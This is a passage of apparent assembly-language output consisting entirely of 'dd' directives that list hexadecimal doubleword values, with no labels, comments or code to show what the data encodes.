		dd 911E5018h, 0FF8C87E1h, 5AF3003h, 0E70D0B70h,	14A84C30h
		dd 0C100D4E1h, 67064F88h, 48A2DB96h, 0E80048EFh, 0BC4D2F65h
		dd 0AA060C8Ah, 0C8957DA7h, 1E962A68h, 91681FCCh, 12DE00A8h
		dd 19AED0A7h, 7B383600h, 0A6013EDFh, 0F0B1850h,	1D35311Bh
		dd 0C67D79C0h, 5C3C67h,	47F4CFC3h, 0E46E2F7Ch, 0A406A67Ch
		dd 0E7D18D19h, 912E0170h, 8B7C74C0h, 0C8418C17h, 2D0810h
		dd 2B79D948h, 7C2FB1DDh, 7DFCE00Fh, 0F1AB001Dh,	28ACE499h
		dd 20A002CAh, 89010C27h, 7A8E18E6h, 0C200EAFh, 6F701822h
		dd 1052E8EAh, 43FAF0A0h, 2025E730h, 140E5E4Dh, 0EF5CAF51h
		dd 0BFE2C500h, 0F5A5500Ah, 0FB77B19h, 0C7034049h, 2600A1C6h
		dd 43F88229h, 75905Eh, 0BCABB199h, 344C9CCCh, 5D6CE4Ch
		dd 0BFCA01F9h, 93789D00h, 906431EBh, 0E1810C28h, 73181823h
		dd 0F2FF5006h, 1007F3h,	8CBB1DDCh, 79E14FA4h, 0E8003C92h
		dd 9318C9C4h, 7E92F8C7h, 22CF00DBh, 20610986h, 0A8301D6Fh
		dd 0DD5CA118h, 0D358A874h, 61EF005Bh, 5F602EAFh, 0A0C0FF77h
		dd 6FA76456h, 0DD7502F2h, 1F958C4Fh, 3682ECA0h,	0CC00C1A6h
		dd 30942912h, 29AF5F8h,	54E5B968h, 0F580609Dh, 840B8BBh
		dd 5624DF78h, 81037025h, 1280FF1h, 853371D0h, 8A0177C9h
		dd 0F81B3710h, 0D0E42E80h, 6A69BDh, 53B9DABCh, 0A5CBD5CFh
		dd 21D9816Fh, 74C58B97h, 86A79C40h, 24B5E6A4h, 224E449h
		dd 323A938Ch, 0C4A2D487h, 8B689098h, 0C37D20BAh, 71C9BFB8h
		dd 9524832Dh, 1488786Dh, 34DA4EC6h, 0DB996500h,	183F8BF8h
		dd 0BCA150C0h, 74770A02h, 55D20003h, 0B374CB2Ah, 0F1002CF5h
		dd 0F9874A29h, 1CF841E7h, 0C0BC715Fh, 0CE2AFC21h, 8273DB98h
		dd 0AE00D6E8h, 0E7DFAC76h, 61D85F14h, 3973106Fh, 0EFAFF03Bh
		dd 2EDA3500h, 713101C6h, 595F00C4h, 5A26D5Dh, 0BD00F3D2h
		dd 0CEB9E291h, 87431Eh,	0CC69A8CDh, 7F4B1D02h, 2E0AB113h
		dd 0BD968430h, 8BFB282Dh, 0A9951098h, 109C48F4h, 9A210EB7h
		dd 0FC20968Ah, 50C4CF80h, 4DD219h, 0C141DBB2h, 0A01CAE4Bh
		dd 0FA58947Eh, 2FF27848h, 0FB6D8D1Bh, 0AD46C840h, 0AF44032Eh
		dd 0E9D67D21h, 63F61806h, 2470FD2Fh, 8ACEE7Ah, 0C80A1AE3h
		dd 108ECC03h, 4298A012h, 24965579h, 807C7FE1h, 0CBC83004h
		dd 210087B8h, 0F9185CAAh, 0C3F28Eh, 88A19E93h, 1DDA5E96h
		dd 51D406ECh, 745901E8h, 79E575EAh, 981C4020h, 4F2E0300h
		dd 686FAD0h, 0F3B6A810h, 801D9615h, 0BF1AD00h, 715FE66h
		dd 2A80A400h, 0A8C97698h, 43560C3Fh, 93C01F23h,	985154A8h
		dd 0EC5C417Fh, 59BB00B4h, 26441FB6h, 99760032h,	0B35DF64h
		dd 69C30FF7h, 0F6E1FB3Ah
		dd 20BD0141h, 0C677E204h, 0D2F8C06Ah, 0A082EAF1h, 446E0A8Fh
		dd 7AE1044h, 1249711Dh,	7B19805Eh, 141DE13Fh, 0F4405438h
		dd 8272C1FCh, 13C23A01h, 640197C0h, 0A40F6720h,	0AC206F81h
		dd 8C7B2C8Eh, 0A8384090h, 47599BF5h, 0C17F1EB0h, 221F4309h
		dd 82B92B1Ch, 31D73E4h,	89B9CCDDh, 1E4186FCh, 4CD9617Dh
		dd 0DB802896h, 8D53684Bh, 9A1E391Ch, 37B2E1C0h,	19F60C5Fh
		dd 49E032EAh, 43C114A8h, 0DC400AB9h, 331D5EBBh,	8359057Ah
		dd 80C1E0C2h, 2E3A10BFh, 977B0CC1h, 5040FBF4h, 49F85E05h
		dd 9840FDC8h, 0D97B91A5h, 350E00E7h, 892E5281h,	2B1B1CE4h
		dd 0E0792736h, 3F1A6Bh,	84D7F42h, 0A4D0879Ch, 2C4E5013h
		dd 80654804h, 552E5902h, 9987A886h, 0A33114FCh,	74E17107h
		dd 56BA1981h, 30C5F8D4h, 21D3F932h, 8E170408h, 1D0D9B93h
		dd 14D8A958h, 0D900011Dh, 7DE6028Ah, 70E24D9Eh,	0CDF39606h
		dd 7C14896Eh, 9DC01C93h, 0F85071D1h, 4EF8847h, 9BF68B06h
		dd 18386C5Dh, 81F7F2F9h, 7D301DDEh, 0E03B396Fh,	7C4A1C60h
		dd 854DAFFh, 3F002866h,	0A97A37A1h, 182CD26h, 571EBD31h
		dd 0C7F65A7Bh, 0BBE17081h, 4FA9638h, 1E70804h, 0BBF39701h
		dd 7CAC744Dh, 2F5688h, 46C4C0C8h, 5FDE0DBFh, 44D09A00h
		dd 0B785A707h, 7CF8C4CFh, 80CA48Eh, 0FF407D77h,	0BC7B12FAh
		dd 2208913Ch, 8B1981F7h, 0E27868Fh, 108E8C58h, 242FD38Ah
		dd 8C083C2Eh, 5C88C12h,	6E3F4EE9h, 676B002Ah, 0B4FA3DC2h
		dd 0F9071D37h, 311F1829h, 0BF007817h, 4E7495DEh, 11A4031h
		dd 56244912h, 70864F05h, 40949202h, 4DE4024Bh, 0EEAE006Fh
		dd 853E8DC4h, 53C90B6Dh, 99F0A512h, 46837C42h, 20C82530h
		dd 0A7B60AC4h, 260B3100h, 0D204EE97h, 874900E8h, 0B4B24846h
		dd 9905DA19h, 0C93786D1h, 0FB0E2061h, 0E487D8h,	539FFDB3h
		dd 2772AAE5h, 70A66703h, 0C09D1DCAh, 14912B1Eh,	0DC62F58Bh
		dd 4D114F00h, 0AF2306F8h, 96FAF209h, 24582312h,	0D8EEEB1Bh
		dd 3844613h, 340AB479h,	81144337h, 8FC47E1Eh, 0FF3364F6h
		dd 2EBA7F02h, 68E1B040h, 2F880282h, 6482290Bh, 7203E379h
		dd 0F56DE088h, 0AD9B1897h, 0BA823042h, 0FF38AE17h, 3980BC0Ch
		dd 55C41ED1h, 41285793h, 77C2F9FCh, 73218E24h, 985F413Ah
		dd 0BC22F30Bh, 0C22E0503h, 11241895h, 5C0087F0h, 92D2863Eh
		dd 2D702F2h, 9BA41DBDh,	0FA0BA8A1h, 0AD318015h,	9102EEB0h
		dd 597238h, 14BE99AEh, 95F2DE8Fh, 50AF26h, 0A5A95718h
		dd 41AD1399h, 2978031Eh, 0A87E66AFh, 0B110E40h,	0FBF20BCAh
		dd 9B1DEC21h, 0E479A8FEh, 1016F20h, 0F862F4AEh,	872B5F93h
		dd 7BCB50F0h, 0C8106889h, 0E439C00Bh, 23E6F963h, 6079583Eh
		dd 921D24F2h, 386D481Ah, 1D48328h, 0DF41115Ch, 90AF8AC3h
		dd 81058718h, 0D20D13C9h, 0A201AECh, 0FCD7E3A3h, 0ED009F9h
		dd 0C4057E3Eh, 4DD4D237h, 410C9484h, 61C5EC16h,	0F2F66434h
		dd 0CD09457h, 51A90AC8h, 0EE11CC00h, 5C3D54C5h,	8F7F0766h
		dd 0B06B7AA0h, 93F4430Eh, 4BAEA313h, 5FEA6C42h,	0C3970702h
		dd 181260C1h, 3C407EE4h, 8EEE149Dh, 22260FD1h, 1140ACC2h
		dd 7472FE87h, 8F7C3A0Ch, 343D124h, 5891A4B6h, 410380E4h
		dd 55062123h, 4F02E847h, 0BA4C0017h, 0EAA34DBh,	0FD50579Fh
		dd 0E7206DE8h, 0F08F0DC1h, 30402A9Dh, 0E90A3F4Ch, 0BE43EE75h
		dd 0F59FA000h, 129126B5h, 427F8593h, 9E1D7680h,	0CA2FF490h
		dd 149F20h, 8CD63F8Fh, 0CE79AB67h, 0E1448509h, 7D340107h
		dd 7886EE82h, 204F25F5h, 0E45CC000h, 0EBAFAC20h, 5F972434h
		dd 7D2F0840h, 0C3309D0Eh, 1C27EFE2h, 1C88910h, 792D4D7Ch
		dd 0C8C2298h, 9122A414h, 887B54E1h, 7C5300CAh, 8ED97F0Ch
		dd 7600851Eh, 2F66460Dh, 0C049E178h, 0A62F729h,	0C90001C8h
		dd 9F1A0B85h, 2E208A3h,	0CA952E8Dh, 0BCAE1137h,	25C6E8C0h
		dd 3013577h, 0EBE2BFD5h, 76E8A62Fh, 0C2830506h,	90473733h
		dd 0ACD642F8h, 0A82AB000h, 1A324514h, 3BA6016Ch, 8A22199Dh
		dd 0FF57E4B3h, 870804A7h, 98833F1Bh, 2D84BB5Bh,	3B4E7A90h
		dd 2485EA03h, 3BC9BE0h,	27905718h, 40004C48h, 0CAEED0D8h
		dd 30490DF5h, 4359178Bh, 9703A0A8h, 0C7BB826Bh,	26C0A716h
		dd 6FB2B53h, 47201A1Bh,	20038BEh, 0DC9D0422h, 78C7199Ch
		dd 8A4F3406h, 0B303010h, 0F83EABAAh, 809BB88Fh,	48763F8Ah
		dd 6090C8B0h, 7A88A0AEh, 0B8DF5DB6h, 0BFC8EB18h, 13F98055h
		dd 0BE156F00h, 0A77EF63Ch, 0D1690136h, 7A823B8Dh, 0A2298CFBh
		dd 0DBE106h, 93E3FDF7h,	17F99B4Bh, 28095628h, 67982615h
		dd 0D782028Ch, 0E561A76h, 0CF1EC082h, 90640402h, 0AA58E608h
		dd 2AAC1494h, 5A01C22h,	6A047ED5h, 0CD844147h, 87C37ACAh
		dd 0A79A779h, 5436A23h,	7A061A21h, 64E841AEh, 5022CA77h
		dd 0AFB8AD18h, 7C80E460h, 18561B2Ch, 7135228Fh,	0B9DE4BF2h
		dd 47087F18h, 36E73E04h, 593F874h, 62A79B8Bh, 465B82ADh
		dd 41CB8484h, 0A824D60Eh, 0A2E7418Dh, 8D9AE189h, 41ADE308h
		dd 7D06E3D3h, 0ABA8A859h, 2FA82AB0h, 385C8684h,	5860B6F3h
		dd 1497E68Fh, 8C1180h, 0CC64A81Fh, 0F2A4C33h, 0B6FC9B00h
		dd 4FCDBEB4h, 6E720024h, 0FB83BC40h, 0A11E1F15h, 2DC3054Ah
		dd 0C861A023h, 38066BA7h, 1A005407h, 0DE8B4F69h, 57771887h
		dd 908D9B00h, 0DC8FC9CEh, 88753003h, 0B322EF40h, 71916640h
		dd 32B90006h, 0B74169F7h, 7F0082B8h, 6E767B33h,	0BC0F7Ch
		dd 66F2DC8Bh, 5834084Ah, 5CD72100h, 0DF97B41Fh,	2CB90A01h
		dd 48C06FF7h, 0A87ED504h, 7C669BF8h, 71BF58E0h,	844C6900h
		dd 5B7FCAB2h, 78312C0Bh, 899E877Dh, 88370420h, 5C750032h
		dd 2D2AA222h, 40CE6BB5h, 66D0E055h, 0CC3E42h, 7B1C0882h
		dd 0C6AF5948h, 0D593C900h, 30788AA8h, 2EEF008Bh, 0B31F3EA2h
		dd 4910DA6Bh, 583D2D4Ah, 12B9CD80h, 757A7B57h, 0BCB38101h
		dd 371FDB87h, 9DF4D4h, 6BD52EECh, 0B125B62Dh, 0BBE4900h
		dd 0AD4E99D0h, 0CB926CAh, 75942938h, 0F97ADD8h,	30600DC5h
		dd 3E4F6C80h, 120082DBh, 71797B52h, 0CCF2AFh, 0A1090A8Bh
		dd 2D9B2FBEh, 5CEE281Ch, 0C16B9CC0h, 4EE94C4Eh,	0B2DF00F6h
		dd 2A967FBCh, 0AC638E00h, 0F16081B5h, 443100ABh, 275D8F35h
		dd 40C32ADAh, 8C4FDB59h, 0B8FC6500h, 200082DDh,	6D722C96h
		dd 1DBDC893h, 0C009164Eh, 5D8B0E88h, 5C00AE38h,	0DF906223h
		dd 90E9B933h, 0B54301FBh, 9820D0DDh, 0AB8C661Bh, 9E5C85F0h
		dd 0D066407h, 9AC00B54h, 0D0824Ch, 7F9BCCD7h, 0C78578ADh
		dd 0D9FB0A00h, 314A6405h, 25AB0373h, 0A21F55B3h, 8B4EC5D0h
		dd 2F0B3800h, 0CFE08E45h, 241A0E0Ch, 0B140C07Dh, 20124ECEh
		dd 35BA9E07h, 0D2E08416h, 622221h, 4E06E060h, 482A0436h
		dd 0B8B13E00h, 6F7B56CDh, 0C5AA0069h, 0D184E87h, 0E00BBA1h
		dd 0A726ED8Fh, 3641966h, 4857DEB1h, 50C80DE9h, 0BA01F3B7h
		dd 4D7E5812h, 0AC60BBC0h, 2D518895h, 2759750Ah,	44888E0h
		dd 1880FDDFh, 0FA6A416Bh, 3437153h, 70A56734h, 2AAD1737h
		dd 7790C034h, 72378306h, 0DB7C0E4Ch, 98E1346Ah,	5C76C29Fh
		dd 7130E61Ch, 0C01C104Bh, 84910044h, 0B364532Dh, 0FC60EF61h
		dd 0D6109F29h, 2F060576h, 0B07E4B33h, 21C09610h, 0ACD61848h
		dd 770900FCh, 0D9A0B69Ah, 9F60E6F6h, 16D06171h,	756407BDh
		dd 301D2BB3h, 0F4730119h
		dd 0BC910767h, 0D06651F3h, 772487h, 0A2C2CFD5h,	0A9AACCFAh
		dd 0F932CA00h, 0B385EA38h, 7C040587h, 0B034B06Ah, 8C02DBB0h
		dd 3F8265E3h, 3D4DA76h,	8F68B8AFh, 97800DF8h, 1CAC7F7Eh
		dd 601F8E40h, 4A02D1FBh, 0DA00F23Fh, 54FA199Ch,	3E75C91Bh
		dd 59632590h, 0B9063AF3h, 0A0282E47h, 4BD900AEh, 3DF455C3h
		dd 881D5630h, 0E1C0137Dh, 1C86269Ah, 64706D7h, 80366C22h
		dd 5C827D3Dh, 0A67C1795h, 885FE088h, 5620C0ADh,	50B9C8CFh
		dd 0C27B0684h, 8F9B8B0h, 0A7E78017h, 0A7FD380h,	178B265Fh
		dd 832EFB2Ah, 2100D8ECh, 7F0A67E2h, 7F836F4h, 0C0AEBB05h
		dd 0BB688DBEh, 0AD089838h, 2F7A8290h, 0D002181Ah, 34907C17h
		dd 53080A63h, 642B6B26h, 80EE4FD6h, 6242C40Ah, 0C3AF021Eh
		dd 0D856B8ADh, 0C7647F00h, 7E28A050h, 3FE4B4h, 0E5AAF773h
		dd 4EF3E307h, 0C1FBB4A8h, 9C517B3Eh, 69C09938h,	0D0B09B04h
		dd 50DD6F45h, 706A9C87h, 718D744Ch, 13265400h, 981DF62Bh
		dd 0D0416E2Fh, 7EE010CFh, 0DE050F01h, 9248h, 1ECC8278h
		dd 6E76C034h, 550250D2h, 0B883617Ch, 67B09EC5h,	214842Bh
		dd 2A884026h, 0CC002C1Ah, 0CE4916DDh, 242A23B1h, 8028FACBh
		dd 0AC7E6134h, 7A00E39Bh, 67600477h, 3A055E7Fh,	2300C6AEh
		dd 78905571h, 0D33B1DFDh, 8029B7A3h, 0C88028D4h, 68E7D77Ah
		dd 8088B43Ah, 0B676193h, 7FFC2E5Ah, 809ACE38h, 802254E4h
		dd 24B975C6h, 40F891A0h, 970E5E71h, 86A7EA0Ch, 7281913h
		dd 55B489CAh, 0D22AC00Dh, 0A8A954D0h, 59C183FEh, 0E818062Eh
		dd 1E477758h, 587C134Dh, 577D08AEh, 509AA018h, 0B01D69h
		dd 5E4E46BBh, 943CCE3h,	3C82615h, 0FFAD1F94h, 314AF20Ch
		dd 64571F37h, 4441A57Fh, 390998CCh, 34F9721h, 2AD73764h
		dd 0B9002D86h, 0CF96DA43h, 0EEFD41B8h, 0A088500Fh, 947D48E7h
		dd 2357410h, 117A061Bh,	0CC111F17h, 24089780h, 433D187Fh
		dd 9EE699A2h, 91DC0E21h, 0B81E00F5h, 77EE105h, 161FA659h
		dd 2700F2ABh, 2290501Fh, 33B9C12Ch, 42A87EC0h, 85437B0h
		dd 60BFA682h, 10B0F8ACh, 4365932h, 0AFCB29B3h, 150C4C12h
		dd 18101349h, 5F00BD37h, 8A928C6Ch, 0C0181A1Bh,	4E18C7C6h
		dd 72DD0375h, 6CE61C59h, 0E5B069A3h, 24A01D90h,	0F626D093h
		dd 0F84230DBh, 879A192Ch, 1F3478A1h, 1904890Ch,	283C304Ah
		dd 12E8417Ah, 8520C0Fh,	63848064h, 904034C4h, 7FA1644Ah
		dd 4272D105h, 1488E73Ah, 2B911F6Eh, 0F2EF4045h,	0E8882D7Ah
		dd 0D8520409h, 0E198932Ah, 0E2A2102h, 0A108E0F0h, 0A43FCA00h
		dd 12D21E29h, 324B9819h, 50901438h, 7E7E6454h, 32225346h
		dd 644C8A00h, 229A060Ah, 4CE5F27Fh, 46225CA2h, 19AE3900h
		dd 9868D28Dh, 6892605Ch, 6CB3657Ah, 9019CB3h, 17067DD6h
		dd 0BD889218h, 0F5D63A11h, 0E12C1581h, 83EFF4D1h, 0C8BFC7ECh
		dd 0B15879A3h, 0E6D7004Ch, 9B0353CBh, 2A066B3Ah, 0E3029C9Dh
		dd 0A3F28D6Ch, 0A0D0414Bh, 9CC40D2h, 0F0A0957Fh, 2E053469h
		dd 1317FFF0h, 433CA2Ah,	52490099h, 689683E2h, 0D4129295h
		dd 0CC237CAFh, 0DA1B306h, 7F127529h, 0C30CAF0h,	67211D6h
		dd 8094880Fh, 4ED614BCh, 0A9005F06h, 47E3D8B1h,	50913284h
		dd 519E813h, 0D12956E2h, 88388F49h, 0E1D0C0CAh,	0DB0045A5h
		dd 7119EC2h, 58162A04h,	5A0104D5h, 242D8522h, 58998084h
		dd 0CDA5533Dh, 0E8561D0Fh, 0C7013E49h, 0D094972Ch, 70122ECEh
		dd 3CD98400h, 28E024C0h, 48D08A70h, 0DF22F04Ch,	0EE884B08h
		dd 785E00D5h, 7E07093Fh, 0E20318B2h, 8B495774h,	3A310016h
		dd 94103C71h, 0A7729BDBh, 260898FDh, 1795821h, 32747D3Ch
		dd 43A55CF1h, 0CC9892E4h, 0B100C7FBh, 93E40A9Dh, 0B2C052B8h
		dd 2C75105Ch, 0EA9B0B66h, 99300064h, 3E062202h,	8864D9E3h
		dd 3C766058h, 0D3942313h, 51002711h, 1E783C7Eh,	2450D5D7h
		dd 0D254E690h, 0FB0088BCh, 39F7A884h, 2307DDh, 3281AF96h
		dd 1594A1E0h, 0F01B9971h, 0C8C017FCh, 0CACE56D7h, 0C0F07910h
		dd 26520A80h, 0DB228346h, 0A68E500h, 19C63616h,	96B605AFh
		dd 90D7FB18h, 0F497A058h, 775C6C92h, 50B410B4h,	3D01F04Ch
		dd 5AD0AE01h, 289001C9h, 78018462h, 0F44FB812h,	694180B1h
		dd 0D35B647Eh, 1448FE0Fh, 18209047h, 0A7A9D98Fh, 0F2DE3082h
		dd 0E2645618h, 22434684h, 4E8C3F33h, 0D8EAD680h, 0CD5D43ECh
		dd 0AD24E6E2h, 4674788Bh, 54700D5h, 87BE121Dh, 58937726h
		dd 5C5204B6h, 312E9016h, 0BCBA881Ch, 0E238D219h, 0A6C030D8h
		dd 90F1870Eh, 0AD593819h, 52D01FCh, 2EC98275h, 98042F5Fh
		dd 0A414567Dh, 4A1BE10h, 9AE85206h, 570020E8h, 6FD233FEh
		dd 0C0161C5Eh, 84219488h, 0B10C18D1h, 38607F88h, 9906AD6Ch
		dd 30FA94A7h, 0B06BE503h, 3C93FCA8h, 7C9B5F10h,	0A6D48017h
		dd 0A697B190h, 240327CCh, 82245052h, 0A58ED0D1h, 849090ECh
		dd 1B016A46h, 0E7067FD6h, 88950C36h, 0D507E3BFh, 18BCA3A1h
		dd 7512E02Fh, 1FFF3DCCh, 5A7A8427h, 78C6F870h, 8DF1B000h
		dd 71527CF6h, 538B4CBCh, 473AEC4Ch, 9C982606h, 7758F89Fh
		dd 2F101098h, 4507412h,	53D9084h, 54168129h, 7A889843h
		dd 1C7102CBh, 9CE687FDh, 4FFE84A0h, 3801CA8Dh, 48856297h
		dd 11E847CBh, 4450767h,	809C2A98h, 907F610Ch, 8C7ABE38h
		dd 0B92E8B56h, 272A00B5h, 0AC15823Dh, 7312EDABh, 1C84167Fh
		dd 4A344C87h, 87844D8h,	0A3940D3Ch, 0C05C23C4h,	95E23C80h
		dd 520470D3h, 0D53569E7h, 0DB352CECh, 7E6C08C9h, 5D0A79C0h
		dd 229B4626h, 61E803D7h, 9C08CB0Ah, 0AE27F1A0h,	0E1B042E7h
		dd 34DFC600h, 95680AFh,	98225E2Ah, 58B0C024h, 6E124C87h
		dd 24C12D98h, 23407276h, 64550711h, 384BE461h, 644D0095h
		dd 8396462Eh, 0AD71A47Bh, 6FD9C00h, 84405E23h, 983CFA73h
		dd 414F28E8h, 566A17ECh, 897C08CDh, 685573BFh, 7C413A08h
		dd 11D2129Ch, 8C7A9448h, 510A7D04h, 0CC627B26h,	0A65E420h
		dd 43AB00BEh, 0C077C1BFh, 6C005976h, 0C65EA880h, 82A288AFh
		dd 0DA0B7C6Ch, 807AD04Bh, 5B670D77h, 0C9130008h, 0AF2B4321h
		dd 0DE5C9424h, 8C92E828h, 385CF400h, 0A421337Ch, 8EF20E03h
		dd 0FBCAC8B0h, 601844C0h, 0A27A6460h, 38C031A3h, 64588E10h
		dd 0EBBA9600h, 678B6EDDh, 73D70E8Dh, 50B4A06h, 76E02811h
		dd 0BC345C28h, 56008C34h, 0A12DF65Ch, 38696825h, 5E07F03Ah
		dd 11DA1D75h, 0CA4AD093h, 488E9C89h, 0EB625FC2h, 0BA60BC7Ch
		dd 0EFAAE05h, 893B3D67h, 2B132E20h, 4E0ADA34h, 0E0A8E7DFh
		dd 672F0C8Eh, 0D7104210h, 0BB7E81E1h, 91A00EB8h, 6064A1B9h
		dd 68922829h, 0A827488h, 0C827AA27h, 78641DE0h,	34414CDFh
		dd 607A410h, 0C43A8893h, 910404A0h, 984D568Dh, 3C087DF4h
		dd 0C47B940Ch, 455C403Eh, 8EA43Ch, 0EC9278EDh, 1B9D3D69h
		dd 80B2C025h, 0E41F5958h, 0ABE73077h, 7871A6E1h, 0DCF7EC00h
		dd 0FD70903Fh, 0B12BE87Dh, 0D0AD0280h, 5E00C5F2h, 154BDCB5h
		dd 0DC132790h, 0B720930Ah, 7FE684ACh, 471CE419h, 0A62028Ch
		dd 2B532658h, 6AF30016h, 0A018B60Ah, 8A02D126h,	4A04323Fh
		dd 2A9C58E8h, 0B408F3h,	0DF3AFA92h, 195ECF61h, 466A0507h
		dd 8B732765h, 0BB90025h, 42F124B5h, 0D8074B52h,	1BC35C06h
		dd 9D4767D0h, 0E68518E7h, 0D73881D1h, 73DF4800h, 279AA32Fh
		dd 0B8860081h, 1F766CA7h
		dd 64096106h, 0F83C5202h, 20AE0A10h, 0BED8CE23h, 0A8395818h
		dd 46060A9Ah, 8ED7D52Eh, 5EF894B0h, 3E003346h, 6629BFA7h
		dd 971F88EBh, 245677E0h, 7848A4h, 9C79C9CCh, 3C6A7C6Ch
		dd 9CC8294Fh, 141888E1h, 0D3FEB818h, 678655A8h,	447441F6h
		dd 0E430994Eh, 9421093Ch, 7C5BC043h, 8800383Ch,	56C106A0h
		dd 25AB2759h, 0CA4D529h, 4F9C88E6h, 0FDC10401h,	0B1CA38C3h
		dd 28FA4875h, 0C7C1198h, 198F247Ah, 8200027h, 0FABCF980h
		dd 69F2B128h, 0C071F600h, 261284F0h, 48C49A39h,	0B616AC23h
		dd 542C212Bh, 263863A3h, 1F6D83Bh, 801066F4h, 2112BCA1h
		dd 0F0903633h, 0B2A0868Dh, 4FD1ED24h, 777FB858h, 8C947A3Ch
		dd 395A3F44h, 0B71E3C47h, 67807A88h, 1D9C44ABh,	6231024Ch
		dd 1568E024h, 1A267C6Ch, 384674A8h, 4636E400h, 0E1F1C594h
		dd 0A6244201h, 31984AFCh, 0B815D040h, 783DFD36h, 18655C48h
		dd 20D0A817h, 813011Bh,	2A0E5F77h, 3C61BECCh, 0FC75265Eh
		dd 0B4C81F02h, 0C430C78Fh, 0D481613Fh, 2548C4F4h, 24115C14h
		dd 40D1868h, 370671D6h,	20973233h, 4ED615B9h, 88F7B00h
		dd 0E24935ABh, 3384096Eh, 6C8BEF5Dh, 10FD5864h,	0FEA4E2C6h
		dd 79DC18C2h, 646A2153h, 0CD2A25h, 0D19709B8h, 34617AFAh
		dd 0CEA143CBh, 0C08B88D0h, 8A807FDCh, 19812430h, 0A59229h
		dd 0E9A675F9h, 0A2A1E170h, 0E5608916h, 29D9C4C0h, 0B01602D0h
		dd 0AD33561Ah, 86979C60h, 0E4B14B68h, 2CCD608h,	62D87206h
		dd 11041D09h, 0DF318123h, 5FC8BB75h, 5E041569h,	43BCEC7Fh
		dd 8295533Ah, 3532CA9Eh, 16605926h, 65F88293h, 9471B0F9h
		dd 0F37D9818h, 0F920CD00h, 3284EB1Dh, 9B0BA85h,	9AF8C826h
		dd 642D0064h, 0BD0CE37h, 0BB2D694Bh, 0C58F6280h, 0A87A1C28h
		dd 7BB93513h, 3E3728C0h, 94F9043Ch, 28CAD720h, 0ECD016AFh
		dd 1CC0443Ah, 28E4C1E2h, 9BC41018h, 53BB0161h, 1D713169h
		dd 0D668716Ch, 2691CC97h, 4E8CB8Ah, 0B0504AA6h,	20181960h
		dd 9080D477h, 56E51278h, 0C8F0CBCEh, 74D6C0CFh,	6001B35Ah
		dd 0E5BE0919h, 8843E61Fh, 846CAA8Ch, 346667D4h,	0FF067809h
		dd 7EC6533h, 71D612BAh,	0C4AD8886h, 0CC06CE44h,	3D2E90C5h
		dd 90F24AD9h, 8723371Ch, 10D42900h, 4A4B2AEFh, 486A00B0h
		dd 45DF837Ah, 750369C8h, 0C3B9DCCCh, 7C25C172h,	74B4ED14h
		dd 0D1E71817h, 94710480h, 97153E6Fh, 0DB361907h, 0A098A427h
		dd 0BF7BD908h, 0FCEA4413h, 3E23B03Bh, 0E778C102h, 0CED441BEh
		dd 95A4A8F0h, 7C061C81h, 0F4B051A5h, 968221A7h,	8CCB6C18h
		dd 83C094C8h, 9F0A46Ah,	3276812Bh, 651C6C22h, 5ED3CC00h
		dd 0A8F45223h, 63C40E7Fh, 46C6ACA2h, 6C0024B5h,	0AD38AE9Eh
		dd 4A320EDCh, 1EE60E70h, 0E4C4458Bh, 82842100h,	0B272AE9h
		dd 0F3A40092h, 0E44DB338h, 9028C2Bh, 0CA7A827Eh, 73B84247h
		dd 5A25709Ch, 9CDFBD04h, 0A890544Ah, 258D172Dh,	50274327h
		dd 0A45500F4h, 0D4B4DC30h, 0F224674h, 259AFB0h,	0E2C0AE08h
		dd 861080DCh, 9E2CAC22h, 0A623BC64h, 8DF061Ch, 189520B0h
		dd 0FFBE407Fh, 4A96A025h, 0F254C03Ch, 0A8B0804Bh, 0FD4020h
		dd 7E5DE4CCh, 0E024691Ah, 919592F8h, 8D26E68h, 23465C68h
		dd 31859600h, 58DA25Eh,	81340348h, 9820B026h, 447F0601h
		dd 186C820Ch, 762FA0E6h, 4818AF29h, 7A0B3FA0h, 0A0DA2206h
		dd 98AC5421h, 0D033816Fh, 18C5AE2Eh, 514CB842h,	1EF2114Ch
		dd 97D49826h, 19497838h, 702E5A14h, 0BF0ECC23h,	492C4771h
		dd 4C4BF9D0h, 25C10005h, 18960972h, 0CCA6D793h,	44687745h
		dd 8C3FBCh, 26938D34h, 667A4C3Eh, 2E02609Eh, 3A2C098h
		dd 3005BF4Ah, 11160A64h, 0B0341004h, 0FCC4EF62h, 0A6DD5F00h
		dd 403085DAh, 0AEB80175h, 0AB5EE211h, 6CCECC90h, 0FE3C6105h
		dd 0CCD45452h, 51AE0782h, 18D67970h, 4FA00D4h, 34897ED1h
		dd 64962718h, 871A0202h, 0F9AD0371h, 7529623Fh,	72C9A9DDh
		dd 0E358C38Ch, 0B4F7EB1Eh, 302234C0h, 11788050h, 7B09DBF8h
		dd 0BA7BE84h, 917C9560h, 45CE853Dh, 54D15A80h, 861B19D8h
		dd 40A12111h, 4BF4F7C5h, 606A0B4h, 0E1A504h, 0E9BFD12Eh
		dd 12647F9Fh, 0FD0C25Dh, 4788B00Eh, 3420F60Dh, 253C081h
		dd 541C2665h, 0B8C161ABh, 972184Ch, 73940F3Ch, 55001C9Ch
		dd 53C43C7Ah, 93EACDFh,	0B2FB8C94h, 0D5CB3802h,	0C1140719h
		dd 21823B94h, 2AED78h, 58B9D92Eh, 805822A6h, 404C3910h
		dd 4144D0BCh, 0E1D968E6h, 0D54674F8h, 6A0C4000h, 0C81FEC8Dh
		dd 4460B624h, 0B8E50E12h, 0DCF00021h, 0CAC52h, 0AC1D7560h
		dd 0BEB8337Fh, 2D8A269h, 94B50C8h, 0A6837C02h, 89FE6B18h
		dd 43EC912h, 0ADFC1881h, 2300232Ah, 92414A4h, 59B01FDDh
		dd 904DA540h, 889BCA40h, 9DE1E87h, 4EA44901h, 16B86422h
		dd 3912FC56h, 8DEF1F06h, 5CE307E1h, 40E8C4BFh, 9A49731Ch
		dd 846AAF00h, 664BCB4h,	5A99017Dh, 70A2D296h, 0D0BC3055h
		dd 0F88455EDh, 1733840Ch, 0BE5E6C00h, 6A489A45h, 6298128Ch
		dd 101030B3h, 0A82C9F7Ch, 973BC960h, 1932007Ah,	84884150h
		dd 44009F09h, 0C028D07h, 240557AEh, 8044917Eh, 9231E68h
		dd 340E697Fh, 0ADDA35h,	66C01AAAh, 59A0CFCDh, 5E4EE2C2h
		dd 0F95CF060h, 4D122084h, 0A00F1327h, 7962B1ACh, 768D7593h
		dd 0DC0E0B77h, 210FC42Fh, 46C61A0h, 9C131Ah, 7F22BC28h
		dd 0C4050CA7h, 2C6853E0h, 266CAE40h, 2700A1F1h,	28916495h
		dd 2B109180h, 0D8244A04h, 4F463468h, 135CBED9h,	23E43F67h
